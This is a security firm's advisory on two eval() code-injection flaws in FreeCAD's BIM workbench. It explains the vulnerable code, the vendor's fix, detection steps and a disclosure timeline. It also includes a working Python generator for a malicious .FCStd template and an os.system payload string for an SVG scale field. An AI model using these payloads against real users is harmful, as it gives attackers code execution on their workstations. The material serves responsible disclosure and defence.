CVE-2026-34398 · CVE-2026-34399
CVSS 7.8 · High PatchedCVE-2026-34398 and CVE-2026-34399: code execution through eval() in the FreeCAD BIM workbench
Two eval() calls in the FreeCAD BIM workbench ran Python read from project and drawing templates, so loading a crafted template executed attacker code.
For your decision
- Impact
- A malicious project or drawing template can execute Python with the user’s permissions.
- Conditions
- The victim must use the file through the affected BIM workflow. The two vulnerabilities involve distinct user actions.
- Recommended action
- Install FreeCAD 1.1.1 or later and review the provenance of shared templates.
Vulnerabilities covered (2)
| Identifier | Vulnerability | Affected versions | Fixed in | CVSS | Advisory published |
|---|---|---|---|---|---|
| CVE-2026-34398 | FreeCAD eval() on .FCStd metadata in the BIM Project Manager | ≥ 0.19, ≤ 1.1.0 | 1.1.1 | 7.8 | |
| CVE-2026-34399 | FreeCAD eval() on the SVG template Scale field in the BIM TechDraw page | ≥ 0.19, ≤ 1.1.0 | 1.1.1 | 7.8 |
- Weakness
- CWE-95
- Access needed
- Victim opens a file
- Credit
- rootzero
Investigation summary
The BIM workbench of FreeCAD passed values read from files to Python eval(): four working plane fields from the metadata of a .FCStd template in the Project Manager, and the Scale field of an SVG template when creating a TechDraw page. A user who loads a crafted template runs the attacker’s Python code with their own privileges. Both flaws are fixed in FreeCAD 1.1.1.
Two file templates, two eval() calls
We searched FreeCAD’s BIM workbench for eval() calls fed by a file the user opens. The first path was a convenient but unsafe round trip: Project Manager saved a vector with str(), then evaluated the string from model metadata. Widening the search revealed a second eval() when creating a TechDraw page, this time on a scale read from an SVG template. These were two file inputs and two different user actions, so we reported them separately.
For Project Manager, we built a minimal .FCStd template that retained the expected archive structure and placed a marker expression in its metadata. The retained PoC is a generator and instructions; it does not contain a captured FreeCAD run or a marker readback. For TechDraw, our report traced the SVG Scale value into a second eval() and supplied an expression satisfying its / condition, but we found no separate SVG fixture in the dossier. In both paths, the user must invoke the affected template workflow; merely possessing the file is not enough. We reported the two paths on 24 and 25 March. FreeCAD fixed them in 1.1.1 before publishing CVE-2026-34398 and CVE-2026-34399 in July.
Files that become Python objects
FreeCAD embeds Python. The BIM workbench reads settings from .FCStd project templates and SVG TechDraw templates; both are files a user may receive from someone else and open in the application.
The BIM workbench targets architecture and building information modelling. Two of its commands are concerned here. The Project Manager sets up a building project and can save its settings as a template, a regular .FCStd file, then load such a template into another project. The TechDraw page command creates a drawing sheet from an SVG template, the kind of file that holds a title block with fields such as the author, the date and the scale.
Following the two str()/eval() round trips
Both flaws come from the same habit: storing a Python object as a string with str() and reading it back with eval(). The round trip is convenient, since str(FreeCAD.Vector(1, 2, 3)) produces Vector (1.0, 2.0, 3.0), which eval() turns back into a vector. It also means that whoever writes the string chooses the code that runs.
Searching the BIM workbench for eval() calls whose argument comes from a file leads to two places. In BimProjectManager.py, saveTemplate() writes the working plane into the document metadata with str(), and loadTemplate() evaluates the same keys when a template is loaded. In BimTDPage.py, the command that creates a TechDraw page evaluates the scale field of the SVG template to turn a ratio such as 1/50 into a number. In both cases the evaluated text is read from a file the user selects.
Root cause
The first flaw (CVE-2026-34398) is in loadTemplate(). The function even imports Vector for the purpose:
# src/Mod/BIM/bimcommands/BimProjectManager.py (c63c84a)
from FreeCAD import Vector # required for following eval calls
# ...
td = FreeCAD.openDocument(filename, True) # hidden
values = td.Meta
# ...
wp = WorkingPlane.get_working_plane()
if "wpposition" in values:
wp.position = eval(values["wpposition"])
if "wpu" in values:
wp.u = eval(values["wpu"])
if "wpv" in values:
wp.v = eval(values["wpv"])
if "wpaxis" in values:
wp.axis = eval(values["wpaxis"])
An .FCStd file is a ZIP archive whose Document.xml describes the document. Meta is a property of type App::PropertyMap, a free key-value map stored in that XML. Whoever builds the file controls every value, and four of them go to eval() with the globals of the BIM module (CWE-95).
The second flaw (CVE-2026-34399) is in the Activated() method of the TechDraw page command:
# src/Mod/BIM/bimcommands/BimTDPage.py (c63c84a)
for txt in ["scale", "Scale", "SCALE", "scaling", "Scaling", "SCALING"]:
if txt in page.Template.EditableTexts:
val = page.Template.EditableTexts[txt]
if val:
if ":" in val:
val.replace(":", "/")
if "/" in val:
try:
page.Scale = eval(val)
except:
pass
EditableTexts holds the editable fields of the SVG template, read from the file. Any value that contains a / reaches eval(). Two details are worth reading closely. The val.replace(":", "/") line discards its result, so a scale written 1:50 never went through the ratio branch; the code had a functional bug next to the security one. And the bare except: pass swallows any exception raised after the injected code has run, so a payload that does not return a number leaves no visible error.
Exploitation
For the Project Manager, the advisory gives a generator that writes a minimal .FCStd with a single metadata entry:
import zipfile, xml.etree.ElementTree as ET
payload = "__import__('os').system('id > /tmp/rce_proof') or __import__('FreeCAD').Vector(0,0,0)"
doc = ET.Element("Document", SchemaVersion="4", ProgramVersion="1.0.0", FileVersion="1")
props = ET.SubElement(doc, "Properties", Count="1")
prop = ET.SubElement(props, "Property", name="Meta", type="App::PropertyMap")
meta = ET.SubElement(prop, "Map", count="1")
ET.SubElement(meta, "Item", key="wpposition", value=payload)
ET.SubElement(doc, "Objects", Count="0")
ET.SubElement(doc, "ObjectData", Count="0")
gui = ET.Element("Document", SchemaVersion="1")
ET.SubElement(gui, "ViewProviderData", Count="0")
with zipfile.ZipFile("evil.FCStd", "w") as zf:
zf.writestr("Document.xml", ET.tostring(doc, encoding="unicode", xml_declaration=True))
zf.writestr("GuiDocument.xml", ET.tostring(gui, encoding="unicode", xml_declaration=True))
The payload runs a shell command, then evaluates to a real Vector, so the working plane receives a valid value and the template loads without complaint. The victim opens BIM, then Project Manager, then Load Template, and selects the file; FreeCAD executes:
wp.position = eval("__import__('os').system('id > /tmp/rce_proof') or __import__('FreeCAD').Vector(0,0,0)")
For the TechDraw page, the second advisory uses an SVG template whose editable field named Scale contains __import__('os').system('id > /tmp/rce_proof')/1. The /1 is there to satisfy the "/" in val test; the division is evaluated after the call, by which time the command has already run. The victim opens BIM, then TechDraw Page, and selects the template.
On Windows, the same payloads work with a different command; os.system() and subprocess are available on every platform FreeCAD supports.
Impact
The advisories score both flaws 7.8 with AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H. The attack is local in the CVSS sense: the attacker delivers a file and the victim has to load it. Opening the file normally is not enough; the victim has to use it as a BIM template or as a TechDraw page template. In return, the code runs with the user’s full privileges, which on a design workstation means project files, credentials stored in the session, VPN access and network shares.
The realistic scenario is a shared template: a file sent by a partner or a colleague, or downloaded from a forum, with the explicit purpose of being loaded through exactly these commands. The advisory mentions supply chain attacks through shared templates; one compromised template in a company library would execute on every workstation that uses it.
The fix
The fix is pull request #28610, “BIM: Fix possible code injection attack in FCStd file”, opened by Chris Hennes on 2026-03-24, the day of the first report, and merged on 2026-03-27 as 871ee19. The same change was backported as 9ed351c to the code released as FreeCAD 1.1.1 on 2026-04-14. Both advisories credit the maintainers who carried the remediation: Chris Hennes (chennes) as remediation developer, Roy-043 as remediation reviewer, and hyarion as an additional reviewer on GHSA-chv4-vm6r-wjqj.
In the Project Manager, eval() gives way to a strict parser that accepts the format str(Vector) produces and nothing else:
# src/Mod/BIM/bimcommands/BimProjectManager.py (1.1.1)
def _parse_vector(text):
"""Parse a Vector(x,y,z) string safely without eval()."""
match = re.match(r"^\s*Vector\s*\(\s*([^,]+)\s*,\s*([^,]+)\s*,\s*([^,)]+)\s*\)\s*$", text)
if not match:
raise ValueError("Invalid Vector string: " + text)
return FreeCAD.Vector(float(match.group(1)), float(match.group(2)), float(match.group(3)))
# ...
for key, attr in [
("wpposition", "position"),
("wpu", "u"),
("wpv", "v"),
("wpaxis", "axis"),
]:
if key in values:
setattr(wp, attr, _parse_vector(values[key]))
Each component goes through float(), which accepts numbers and nothing that could run. The patch also removes the from FreeCAD import Vector line, which only existed for eval().
In the TechDraw page command, the ratio is computed explicitly, and the patch fixes the discarded replace() at the same time:
# src/Mod/BIM/bimcommands/BimTDPage.py (1.1.1)
val = val.replace(":", "/")
if "/" in val:
try:
num, den = val.split("/", 1)
page.Scale = float(num) / float(den)
except (ValueError, ZeroDivisionError):
pass
The exception handlers are narrowed to the errors the parsing can raise. The pull request also goes beyond the two reported call sites: it replaces eval() with ast.literal_eval() for the colour values in BimLayers.py, and with explicit comparisons for IFC boolean and logical properties in importers/exportIFC.py. Removing other eval() calls from the workbench along with the two that were reported is the right reading of a CWE-95 report.
Detection and mitigation
- Update to FreeCAD 1.1.1 or later on every workstation, including portable installations and AppImages that do not update with the system.
- Until then, treat
.FCStdand SVG templates from outside the organisation as untrusted, and do not load them through BIM Project Manager or BIM TechDraw Page. - Inspect project templates before use with
unzip -p template.FCStd Document.xml | grep -E 'key="wp(position|u|v|axis)"'. Legitimate values have the formVector (x, y, z)with numbers; anything containing__import__, quotes, extra parentheses or a semicolon is hostile. - Inspect SVG templates for editable fields named scale or scaling, whatever their capitalisation, whose content is anything other than a number or a ratio of two numbers.
- On managed workstations, alert on shells and scripting hosts (
sh,bash,cmd.exe,powershell.exe) started by the FreeCAD process.
Timeline
| Date | Event |
|---|---|
| 2026-03-24 | Private report of the Project Manager flaw through GitHub security advisory GHSA-8rfj-7956-6gwf |
| 2026-03-24 | Pull request #28610 opened by Chris Hennes |
| 2026-03-25 | FreeCAD 1.1.0 released, still affected |
| 2026-03-25 | Private report of the TechDraw page flaw through GitHub security advisory GHSA-chv4-vm6r-wjqj |
| 2026-03-27 | Pull request merged (871ee19) and backported (9ed351c) |
| 2026-04-14 | FreeCAD 1.1.1 released |
| 2026-07-23 | Advisories published with CVE-2026-34398 and CVE-2026-34399 |
References
- Vendor advisory · CVE-2026-34398 github.com/FreeCAD/FreeCAD/security/advisories/GHSA-8rfj-7956-6gwf
- NVD entry · CVE-2026-34398 nvd.nist.gov/vuln/detail/CVE-2026-34398
- CVE.org record · CVE-2026-34398 www.cve.org/CVERecord?id=CVE-2026-34398
- Vendor advisory · CVE-2026-34399 github.com/FreeCAD/FreeCAD/security/advisories/GHSA-chv4-vm6r-wjqj
- NVD entry · CVE-2026-34399 nvd.nist.gov/vuln/detail/CVE-2026-34399
- CVE.org record · CVE-2026-34399 www.cve.org/CVERecord?id=CVE-2026-34399
- MITRE CWE-95 cwe.mitre.org/data/definitions/95.html
- Project repository github.com/FreeCAD/FreeCAD
Cite this advisory
rootzero. “CVE-2026-34398 and CVE-2026-34399: code execution through eval() in the FreeCAD BIM workbench”. Vulnerability research, rootzero, 23 July 2026. https://rootzero.eu/en/research/cve/cve-2026-34398-34399-freecad-bim-eval-rce/
#Vulnerability research
Have your code audited before someone else does.
Your team needs to decide what to fix before a release or assess a critical dependency. We scope an engagement around that decision, with evidence and explained remediation priorities.